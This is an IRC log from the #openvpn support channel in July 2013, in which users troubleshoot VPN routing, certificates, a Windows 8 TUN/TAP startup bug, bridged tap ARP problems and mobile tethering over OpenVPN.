21:59 < ljvb> I had a bunch of other problems, including the diff header being included into the config files it was supposed to update, breaking the password file
21:59 < ljvb> and the list goes on
21:59 < ljvb> yes, which is what I am using now
21:59 < EugeneKay> Sounds like user error ;-)
22:00 < ljvb> meh.. there are always user errors.. specially when you try to do shit late at night after wrangling a 1 year old, work, and lack of sleep :P
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:02 -!- tharkun [~0@187.188.166.5] has joined #openvpn
22:04 < ljvb> now to figure out why all my routing stopped working (all I changed were keys, and made sure to rename the associated ccd configs
22:05 < ljvb> the routes are in place and work.. till I startup the UK host, and then all the routes get removed :( wtf!
22:06  * ljvb has around 50 static routes
22:09 < pppingme> whats in the UK ccd
22:10 < ljvb> riroute 32.185.128.0 255.255.240.0
22:10 < ljvb> many of those (addresses differ obviously
22:11 < ljvb> s/riroute/iroute
22:11 < pppingme> and none of the routes conflict with the current working clients?
22:11 < ljvb> the primary vpn server loads the routes, but when I connect the UK host, and removes the routes.. this just started this evening, and all I did was change the certificates
22:12 < ljvb> all of those routes are BBC related :)
22:12 < ljvb> I route traffic through the UK host to get my Top Gear and Dr Who fix :)
22:12 < ljvb> so no, no conflicts :)  Yes.. I am that sad.. heh
22:13 < pppingme> are you running any routing protocols?
22:14  * ljvb bangs head.. it works now.. although getting a lot of bad src address errors
22:15 < ljvb> traceroute does not (probably due to the fact that I don't have route statements for the hops along the way)
22:16 < ljvb> I am using ospf, but not on any of my vpn segments, rather that is on my primary gateway to connect my friends networks
22:18  * ljvb has what has to be one of the most screwed up networks on the planet.. US VPS acts as primary VPN server, UK VPS connects as a client, FIOS gateway connects to vpn, (and various phones and shit as well).  Behind my FIOS gateway, I have IPSEC tunnels (racoon) to a few friends networks
22:20 < ljvb> next project is to setup wikid and freeradious to enable 2 factor auth
22:27 < ljvb> actually, next project is trying  to figure out why openvpn and mobile hotspot on the Galaxy S4 is not working (worked just fine with my Galaxy S2...)
22:29 -!- emid [~emid@192.241.201.133] has quit [Quit: quit]
22:29 < ljvb> oh well, seep time
22:29 < ljvb> sleep
22:50 -!- emid [~emid@192.241.138.149] has joined #openvpn
23:23 -!- itpings [~itpings@89.218.38.200] has joined #openvpn
23:25 < itpings> hey all
23:30 < itpings> !site to site
23:30 < itpings> !help
23:30 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
--- Day changed Wed Jul 10 2013
00:31 -!- tharkun [~0@187.188.166.5] has quit [Ping timeout: 240 seconds]
00:33 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has quit [Ping timeout: 264 seconds]
--- Log closed Wed Jul 10 00:35:42 2013
--- Log opened Wed Jul 10 00:36:00 2013
00:36 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
00:36 -!- Irssi: #openvpn: Total of 183 nicks [8 ops, 0 halfops, 2 voices, 173 normal]
00:36 < itpings> any help would be highly appreciated
00:36 -!- Irssi: Join to #openvpn was synced in 34 secs
00:36 -!- ecrist [~ecrist@freebsd/contributor/openvpn.community.support.ecrist] has quit [Ping timeout: 246 seconds]
00:44 -!- Poster [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
00:49 -!- Casper [~Phantom@unaffiliated/thephantom] has joined #openvpn
00:50 < Casper> Hi there, anyone here know stuff about the iphone client one? I think it ignore the proxy directive...
00:56 < Casper> well, will come back tomorrow,  nite
00:57 -!- fischli [~fischli@data.fischer-ing.de] has joined #openvpn
01:09 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
01:26 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 256 seconds]
01:28 < itpings> hey fischli
01:28 < itpings> how u doin
01:28 < itpings> need a good howto for site to site vpn on centos
01:28 < EugeneKay> !route
01:28 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
01:28 <@vpnHelper> behind the server or client
01:28 < EugeneKay> !howto
01:28 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
01:35 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
01:38 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
01:41 < fischli> Hey itpings, always worth reading https://community.openvpn.net/openvpn/wiki
01:41 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net)
01:42 -!- jzaw [~jzaw@loki.dzki.co.uk] has quit [Ping timeout: 260 seconds]
01:46 -!- monk [~aknm@196.14.139.96] has joined #openvpn
01:46 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
01:46 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
01:47 -!- jzaw [~jzaw@loki.dzki.co.uk] has joined #openvpn
01:48 < itpings> ok ty
01:51 < itpings> but can't see site to site openvpn
01:52 < EugeneKay> !read
01:52 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
02:08 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:08 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 248 seconds]
02:11 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
02:12 -!- tharkun [~0@187.188.166.5] has quit [Ping timeout: 246 seconds]
02:14 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:27 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
02:29 -!- tharkun [~0@187.188.166.5] has quit [Ping timeout: 276 seconds]
02:30 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:43 -!- YamakasY_ is now known as YamakasY
02:50 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: takamichi]
02:51 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
02:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
02:57 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has quit [Ping timeout: 264 seconds]
02:57 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Ping timeout: 240 seconds]
02:57 -!- n4mu [~n4mu@fsf/member/n4mu] has quit [Ping timeout: 264 seconds]
02:57 -!- n4mu [~n4mu@kuna.manurevah.com] has joined #openvpn
02:57 -!- n4mu [~n4mu@kuna.manurevah.com] has quit [Changing host]
02:57 -!- n4mu [~n4mu@fsf/member/n4mu] has joined #openvpn
02:57 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
02:58 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
02:59 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
03:03 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-bjqsdhcgdvhdtqin] has quit [Quit: Connection closed for inactivity]
03:08 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:19 -!- mattock_afk is now known as mattock
03:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:36 -!- YamakasY [~yamakasY@62.58.32.94] has quit [Read error: Connection reset by peer]
03:36 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
03:37 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
03:53 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
03:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
03:57 -!- cherwin_ is now known as cherwin
03:58 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
04:12 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 240 seconds]
04:25 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
04:30 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
04:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
04:37 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
04:42 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has quit [Ping timeout: 268 seconds]
04:42 -!- hjohnson [~hans@S0106000db917e89a.vc.shawcable.net] has joined #openvpn
04:45 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Ping timeout: 252 seconds]
04:48 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
04:49 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
04:52 -!- brad`_ [~brad@78.129.242.122] has joined #openvpn
04:52 -!- Matir_ [~matir@ubuntu/member/matir] has joined #openvpn
04:53 -!- frank-- [~avenger@unaffiliated/thumbs] has joined #openvpn
04:53 -!- bitg1 [bitg@gateway/shell/xzibition.com/x-uerckkxievfqfdwr] has joined #openvpn
04:53 -!- simcop2387_ [~simcop238@p3m/member/simcop2387] has joined #openvpn
04:55 -!- AsadH- [~AsadH@unaffiliated/asadh] has joined #openvpn
04:56 -!- [clu5ter] [~staff@stealth.server.cybscripts.com] has joined #openvpn
04:56 -!- Willis [Willis@173.234.237.131] has joined #openvpn
04:56 -!- BtbN_ [znc@btbn.de] has joined #openvpn
04:56 -!- krphop_ [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
04:57 -!- Netsplit *.net <-> *.split quits: Willis_, bitg, AsadH, matsh, thumbs, zamba, clu5ter, simcop2387, brad, Matir,  (+5 more, use /NETSPLIT to show all of them)
04:57 -!- simcop2387_ is now known as simcop2387
04:57 -!- BtbN_ is now known as BtbN
04:58 -!- AsadH- is now known as AsadH
04:59 -!- jd [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
04:59 -!- jd is now known as Guest81891
05:00 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has quit [Read error: Connection reset by peer]
05:04 -!- Netsplit over, joins: sitaktif
05:04 -!- Netsplit over, joins: zamba
05:08 -!- dahankzter [~quassel@37-247-8-75.customers.ownit.se] has quit [Remote host closed the connection]
05:42 < itpings> guys
05:42 < itpings> !site to site openvpn
05:42 < itpings> ! howto site to site openvpn
05:42 < itpings> ! howto
05:42 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
05:45 -!- Sidewinder [~de@unaffiliated/sidewinder] has joined #openvpn
05:50 -!- derRichard [~derRichar@pippin.sigma-star.at] has joined #openvpn
05:51 < derRichard> hi!
05:51 < derRichard> on windows 8 i see often this message while connecting: Route: Waiting for TUN/TAP interface to come up... (over and over). and openvpn is unable to set ips/routes
05:52 < derRichard> some other users are seeing that too: https://forums.openvpn.net/topic12178.html
05:52 <@vpnHelper> Title: OpenVPN Support Forum OpenVPN sometimes fails to bring a TAP interface up : Testing branch (at forums.openvpn.net)
05:52 < derRichard> disabling ipv6/firewall/... did not help.
05:52 < derRichard> please tell me, is this a known issue?
05:52 < derRichard> on every other windows (and linux) openvpn works fine
05:59 < derRichard> !welcome
05:59 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
05:59 < derRichard> !goal
05:59 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
05:59 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
06:01 -!- harjarX [~oddharjar@ti0018a380-dhcp3067.bb.online.no] has joined #openvpn
06:01 -!- matsh [divine@nanogene.org] has joined #openvpn
06:01 -!- kevinsky [~kevin@senna.rosendaal.net] has joined #openvpn
06:03 < Sidewinder> derRichard, Sorry I can't help you; could never get my openvpn configured proper;y. Since this place ia a little slow, have you posted your questions in ubuntuforums.org?
06:04 < derRichard> Sidewinder: why ubuntuforums.org? openvpn works fine here, just win8 makes problems. we (my company) is using openvpn a lot
06:04 -!- dazo_afk is now known as dazo
06:04  * derRichard waits a few hours and posts to the mailinglist if nobody answers
06:05 < Sidewinder> Ah, forgot you were referring to Win; my bad.. :(
06:06 <@dazo> derRichard: Check the mailing list archive ... I think I've seen this question popping up more and more the last weeks ... not sure anyone have come up with a clear remedy yet, though
06:08 < derRichard> dazo: will do
06:13 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
06:17 -!- iokill is now known as dags
06:17 -!- dags is now known as iokill
06:18 < derRichard> dazo: this one looks good: http://article.gmane.org/gmane.network.openvpn.user/34171/match=waiting+tun+tap but it has no solution and the user seems unable to reproduce
06:18 <@vpnHelper> Title: Gmane -- Re: TAP32 Adapter slow in accepting the DHCP assigned IP address (at article.gmane.org)
06:19 <@dazo> derRichard: I think that was the thread I had in mind, actually ... But please bring that thread up-to-life again, if you can help getting some debug info
06:20 < derRichard> sure
06:21 < derRichard> here on my win8 i can reproduce it within minutes :(
06:21 <@dazo> "cool!"
06:21 < derRichard> ;)
06:27 -!- theneb_ [~theneb@theneb.co.uk] has joined #openvpn
06:27 < theneb_> I have clients connecting to my openvpn server to get access to a single resource, can I provide a hostname for a device behind the vpn to the client?
06:28 < theneb_> Ie machine 10.8.0.1 is on the VPN, I'd like all client refer to the server by something like 'foobar'
06:29 < derRichard> theneb_: you need dns :)
06:29 -!- kunago [~Thunderbi@201.239.broadband12.iol.cz] has joined #openvpn
06:30 -!- frank-- is now known as thumbs
06:30 < theneb_> derRichard: I feared that :) Just need a simple dns though.
06:30 < kunago> Hi. I have been looking all over the internet but I cannot find an answer to my question - can I generate additional client certificate to my running OpenVPN setup?
06:34 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
06:37 < derRichard> kunago: sure. sign the cert with a ca that is trusted by your openvpn server...
06:39 < kunago> derRichard: I certainly still do have the CA cert file ... so thanks. Could you also help me with a question no.2 - what is the DH file for?
06:40 < derRichard> kunago: see http://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange
06:40 <@vpnHelper> Title: Diffie–Hellman key exchange - Wikipedia, the free encyclopedia (at en.wikipedia.org)
06:40 <@dazo> kunago: the DH file is more commonly known as DiffieHellman parameters  .... which is basically just an incredibly long prime number, used for the key exchange between server and client
06:41 < kunago> Is it anyhow connected with the keys generated? I wonder why in each tutorial it is always generated at the end, when all certificates are generated already.
06:42 <@dazo> no, it is used when exchanging a temporary session key between client and server
06:43 <@dazo> the public/private keys extracted from the key file and the certificate is used together with the DH parameters to negotiate a temporary symmetric encryption key, used on the VPN tunnel data
06:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
06:44 <@dazo> and this temporary key is then replaced regularly (by default every hour), but this can be tweaked using the --reneg-* options
06:46 < kunago> Thanks, guys. I am not a power user; I learn by doing on the go. :-)
06:47 -!- iokill [~iokill@91.114.127.102] has quit [Quit: iokill]
06:51 < derRichard> dazo: is it better to report my problem to openvpn-users or openvpn-devel?
06:53 <@dazo> derRichard: Oh you had to ask that! ;-) ... I'm not sure if this is a bug in OpenVPN or something related to Windows 8 ... probably try -users first, and if it's an OpenVPN bug we'll include -devel
06:54 -!- kunago [~Thunderbi@201.239.broadband12.iol.cz] has left #openvpn []
06:54 <@dazo> derRichard: I'm hoping JJK will have time to follow up on this one ... as he dissects such issues very well
06:54 <@dazo> and JJK is the guy behind !book too :)
06:56 < derRichard> !book
06:56 <@vpnHelper> "book" is http://www.packtpub.com/openvpn-2-cookbook/book check out JJK's awesome cookbook for openvpn 2!
06:57 < derRichard> okay. the windows8 is the first issue i have with openvpn. i'm using it for for more than 3 years now
06:58 -!- You're now known as ecrist
06:58 -!- mode/#openvpn [+o ecrist] by ChanServ
07:23 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
07:26 < derRichard> dazo: mail sent "Windows 8 issue: TUN/TAP adapter does not start"
07:26 <@dazo> thx!
07:27 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 240 seconds]
07:33 -!- Denial [~Denial@90.202.26.221] has joined #openvpn
07:39 < theneb_> Are there any decent tools for monitoring good/bad auths through openvpn? Ie to be able to block excessive bad connects and keep a record of good ones?
07:45 < ljvb> mornin
07:53 < derRichard> ljvb: you can use tools like fail2ban
07:55 < ljvb> umm.. okay.. guessing that was misdirected :P
07:55 < ljvb> !iphone
07:55 <@vpnHelper> "iphone" is (#1) http://www.zdnet.com/blog/hardware/ubuntu-lucid-lynx-1004-can-read-your-iphones-secrets/8424 <-- be aware of that before putting your keys on an iphone or (#2) OpenVPN is now available for iOS in the App Store or (#3) https://community.openvpn.net/openvpn/wiki/IOSinline
07:57 < ljvb> hmm.. anyone know if it is possible to force a redirect on IOS.  vpn works fine, from the phone, but when enabling mobile hotspot, traffic does not route over the VPN, rather through the regular ATT network (this is a separate issue to my Android phone, which is a personal device that I Was working on yesterday)
07:57 -!- Sidewinder [~de@unaffiliated/sidewinder] has quit [Quit: Leaving]
07:58 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Max SendQ exceeded]
07:58 -!- Blok [~sa@unaffiliated/blok] has joined #openvpn
08:00 < Blok> !welcome
08:00 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum !wiki
08:00 <@vpnHelper> !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
08:02 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:10 < Blok> Here goes: GOAL: I want all traffic from LAN to a router to be "routed" through a (openvpn) tunnel, but traffic from the router itself go straight to WAN. The router is a Linux machine with two NICs, LAN & WAN. I have a connection to an openvpn tunnel giving me the virtual interface vtun0. I have two NAT rules. 1. Traffic from x.x.x.1 - x.x.x.200 should masquerade to vtun0 and traffic from router ip (> 200) should masquerade to WAN interface. Are you with me? 
08:12 -!- badloop [~badloop@aarondunlap.org] has joined #openvpn
08:14 < badloop> ok, i think i've done everything correctly on my setup, but when i connect to my OpenVPN instance on my iPhone and attempt to do anything internet related, it appears that the connection times out through OpenVPN, the vpn drops, the phone connects though the standard connection, and then the vpn connection is re-establish
08:14 < badloop> ed
08:14 < badloop> maybe something wrong with my iptables routing?
08:15 < derRichard> iptables does not route anything. if you are firewalling make sure that the firewall does not drop too much --> enable logging
08:16 -!- Dar1us [~doconnor@cain.gsoft.com.au] has joined #openvpn
08:17 < Dar1us> Hi, I have an openvpn bridged tap setup and I can connect and I can see ARP go from server -> client and the client is replying but it is not seen by the server (I am tcpdumping the tap ifaces)
08:18 < Dar1us> I am not sure where to look for debugging, any hints?
08:22 -!- HectorBarbossa_ [uid7850@gateway/web/irccloud.com/x-beqwgxjpgoygecak] has joined #openvpn
08:22 < ljvb> what do the openvpn logs say (if not much, up the debugging levels)
08:23 < Dar1us> it shows the negotiation working OK
08:23 < Dar1us> I'll truy --verb 9
08:24 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
08:24 -!- mode/#openvpn [+o krzie] by ChanServ
08:24  * Dar1us drinks from the firehose
08:24 -!- kenyon_ [kenyon@darwin.kenyonralph.com] has joined #openvpn
08:24 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
08:24 -!- mode/#openvpn [+o plai] by ChanServ
08:24 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
08:24 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
08:24 < ljvb> I'll probably not be much help, I don't use a bridge
08:25 < ljvb> any particular reason your are bridging vs routed
08:26 < Dar1us> because it is simpler
08:26 < Dar1us> it actually used to work
08:26 < Dar1us> if I bridge then IPs are allocated in 1 place (DHCP server) and all apps Just WOrk
08:26 < derRichard> IMHO bridging is not really simpler
08:26 -!- sauce_ [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
08:27 < Dar1us> derRichard: well, conceptually it sure it
08:27 < Dar1us> there is no need to reserve ranges
08:27 < Dar1us> etc..
08:27 < derRichard> reserve ranges?
08:28 < Dar1us> I only setup the VPN for poor Windows users who don't have things like sshfs
08:28 < Dar1us> ranges of IPs
08:28  * ljvb has no such problems.. just use different 1918 subnets and you will be fine
08:28 < derRichard> if you have to remap subnets your network is very broken
08:28 < Dar1us> I am not remapping subnets?
08:28 < ljvb> but alas, we are not here to judge (okay, I am.. maybe :) )
08:29 < Dar1us> ljvb: I have real address space :)
08:29 < Dar1us> I don't wnat to NAT VPN users
08:29 < derRichard> you don't need to
08:29 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
08:29 < Dar1us> I want VPN users to be able to pretend they're still back at work :)
08:29 < Dar1us> well I would need to if I used RFC1918 addresses
08:29 -!- Netsplit *.net <-> *.split quits: JackSparrow, EugeneKay, kenyon, APTX, jareth_, Martin`, @krzee, Sorcier_FXK, HectorBarbossa, [clu5ter],  (+10 more, use /NETSPLIT to show all of them)
08:29 -!- Martin`_ is now known as Martin`
08:29 -!- krzie is now known as krzee
08:29 -!- Netsplit over, joins: Champi
08:29 -!- badloop [~badloop@aarondunlap.org] has left #openvpn []
08:29 -!- HectorBarbossa_ is now known as HectorBarbossa
08:29 < Dar1us> so I ran openvpn --verb 9
08:29 < ljvb> splat goes teh network
08:30 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
08:30 < Dar1us> but sadly it dodesn't actually dumb packets like tcpdump does :(
08:30 < derRichard> our network is designed in a way such that it does matter which ip you have.
08:30 -!- Netsplit over, joins: phantomcircuit
08:30 < derRichard> Dar1us: so, openvpn does not drop packets?
08:30 -!- Netsplit over, joins: jareth_
08:30 < ljvb> stsatic natting works just fine when I need it
08:30 < Dar1us> how would I tell if it does?
08:30 < Dar1us> ljvb: well for you perhaps
08:30 -!- Netsplit over, joins: JackSparrow, jave, Slippern, tyteen4a03
08:30 < Dar1us> it seems silly to me to add another layer of complexity
08:31 -!- tyteen4a03 [tyteen4a03@2001:470:e2e4::] has quit [Max SendQ exceeded]
08:31 < ljvb> I'm not saying your wrong, I was just curious
08:31 -!- tyteen4a03 [tyteen4a03@2001:470:e2e4::] has joined #openvpn
08:31 < derRichard> Dar1us: on layer2 you have to deal with layer2 crap on layer3 with layer3 crap. IMHO layer3 is less pain
08:31 < derRichard> it's that simple ;)
08:31 < Dar1us> ljvb: I have real IPs, not RFC1918 ones so I can't just use a different range of RFC1918 addresses without NATing
08:31 -!- phishy [~textual@c-65-96-165-187.hsd1.ma.comcast.net] has joined #openvpn
08:32 < Dar1us> derRichard: but it's not the layer 2 crap that is the problem :(
08:32 -!- Netsplit over, joins: EugeneKay
08:32 < derRichard> Dar1us: let's see ;)
08:32 < ljvb> true, but what is the purpose of using a real IP, or nating users from a group of real IP's
08:33 < Dar1us> ljvb: that is somewhat besides the point, my network _already uses_ real IPs
08:33 < ljvb> hell.. cable companies in the US are starting to do natting.. (okay thats more of a money grab.. charging people for real IP's, even when they are dhcp)
08:33 -!- Netsplit over, joins: Cybertinus, Sorcier_FXK
08:33 < Dar1us> I can't change that just to get a VPN working
08:33 -!- Netsplit over, joins: TypoNe
08:33 < Dar1us> breaking end to end connectivity sucks
08:33 < ljvb> I feel your pain..
08:33 < Dar1us> "hey it works for web browsing so STFU" makes me sad
08:33 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 262 seconds]
08:34 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has joined #openvpn
08:34 < ljvb> it is why I use vps's and run openvpn servers on them.. all my ISP will see is encrypted traffic
08:34 -!- dimm0k [~dimm0k@pool-98-116-233-190.nycmny.fios.verizon.net] has quit [Changing host]
08:34 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
08:34 < Dar1us> well, my ISP actually like their customers
08:34 < Dar1us> they give us real v4 IPs and lots of v6 IPs for nothing
08:34 < derRichard> Dar1us: back to your issue. where do you see the packets, and where are they dropped?
08:34 < ljvb> if your going to sell my shit wholesale (not even talking about the whole NSA crap) and make money off me, I want my cut, or you get nothing :)
08:35 < Dar1us> derRichard: I am running tcpdump on the tap interfaces at the client & server end
08:35  * ljvb goes off on an ISP rant tangent.. will shut up now heh
08:35 -!- theneb_ [~theneb@theneb.co.uk] has quit [Remote host closed the connection]
08:35 < Dar1us> derRichard: I see ARP requests from the server on both tap interfaces
08:35 < Dar1us> derRichard: I see ARP replies from teh client on the client tap iface, but NOT on the server tap iface
08:35 -!- theneb [~theneb@theneb.co.uk] has joined #openvpn
08:35 < Dar1us> so it appears that openvpn ate them
08:36 < Dar1us> I don't believ eit is a firewall issue because the packet isn't even seen on the interface
08:36 < ljvb> hrm.. (sigh) real work time..
08:36 < derRichard> do you see the encrypted packets incoming in the server?
08:37 < Dar1us> yes
08:37 < Dar1us> also the negotiation happens OK
08:37 < derRichard> okay, then openvpn is eating them
08:37 < ljvb> hopefully someone using openvpn on their iphone and using tethering will come around at some point... openvpn works, as configured, but traffic over the tethered link does not seem to pass through the tun interface
08:38 < ljvb> and yes, I do have redirect enforced
08:40 < derRichard> sorry, i cannot help you. my co-worker (with apple ninja skills) is not in the office
08:40 < Dar1us> heh OK
08:42 -!- Slippern [slippern@server02.hjemmeserver.info] has quit [Ping timeout: 245 seconds]
08:42 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has quit [Ping timeout: 245 seconds]
08:42 -!- EugeneKay [eugene@badcryp.to] has quit [Ping timeout: 245 seconds]
08:42 -!- Slippern [slippern@server02.hjemmeserver.info] has joined #openvpn
08:42 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
08:43 -!- EugeneKay [eugene@badcryp.to] has joined #openvpn
08:43 -!- Poster|x [~poster@cpe-173-88-28-119.columbus.res.rr.com] has joined #openvpn
08:43 -!- excalibr [ubuntu@unaffiliated/excalibr] has quit [Disconnected by services]
--- Log closed Wed Jul 10 08:48:44 2013
--- Log opened Wed Jul 10 08:49:03 2013
08:49 -!- ecrist_ [~ecrist@token-black.secure-computing.net] has joined #openvpn
08:49 -!- Irssi: #openvpn: Total of 195 nicks [8 ops, 0 halfops, 2 voices, 185 normal]
08:49 !hobana.freenode.net [freenode-info] why register and identify? your IRC nick is how people know you. http://freenode.net/faq.shtml#nicksetup
08:49 -!- Irssi: Join to #openvpn was synced in 35 secs
08:49 -!- GabrieleV_ [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:50 -!- cj [~cjac@2607:ff08:f5:3a::3] has joined #openvpn
08:52 -!- C_S_B [~C-S-B@craigsblackie.broker.freenet6.net] has joined #openvpn
08:52 -!- Fixka [~Sorcier_F@2001:41d0:8:8f6b::1] has joined #openvpn
08:53 -!- dazo_ [~dazo@2001:470:de40:1021::14] has joined #openvpn
08:57 -!- Netsplit *.net <-> *.split quits: monk, YamakasY, JackSparrow, GabrieleV, Martin`, jefferai, Poster, Sorcier_FXK, @ecrist, @dazo,  (+6 more, use /NETSPLIT to show all of them)
08:57 -!- GabrieleV_ is now known as GabrieleV
08:57 -!- dazo_ is now known as dazo
08:57 -!- Martin`_ is now known as Martin`
08:58 -!- Netsplit over, joins: tyteen4a03
08:58 -!- monk [~aknm@196.14.139.96] has joined #openvpn
08:59 -!- itpings [~itpings@89.218.38.200] has joined #openvpn
08:59 -!- JackSparrow [~death@2001:41d0:1:d4e5:dead::42] has joined #openvpn
09:07 -!- YamakasY [~yamakasY@62.58.32.94] has joined #openvpn
09:09 -!- wHATEver [~andrew@mx2.admin.tomsk.ru] has joined #openvpn
09:11 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 248 seconds]
09:12 -!- Aketzu_ [akolehma@kelvin.aketzu.net] has joined #openvpn
09:12 -!- lamba_ [~lamba@siology.net] has joined #openvpn
09:12 -!- Scub_ [~ae@shellie.darchoods.net] has joined #openvpn
09:12 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
09:14 -!- DeVito_ [d3vito@d3vito.de] has joined #openvpn
09:15 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
09:15 -!- Fixka [~Sorcier_F@2001:41d0:8:8f6b::1] has quit [Changing host]
09:15 -!- Fixka [~Sorcier_F@unaffiliated/sorcierfxk] has joined #openvpn
09:15 -!- dazo [~dazo@2001:470:de40:1021::14] has quit [Changing host]
09:15 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
09:15 -!- mode/#openvpn [+o dazo] by ChanServ
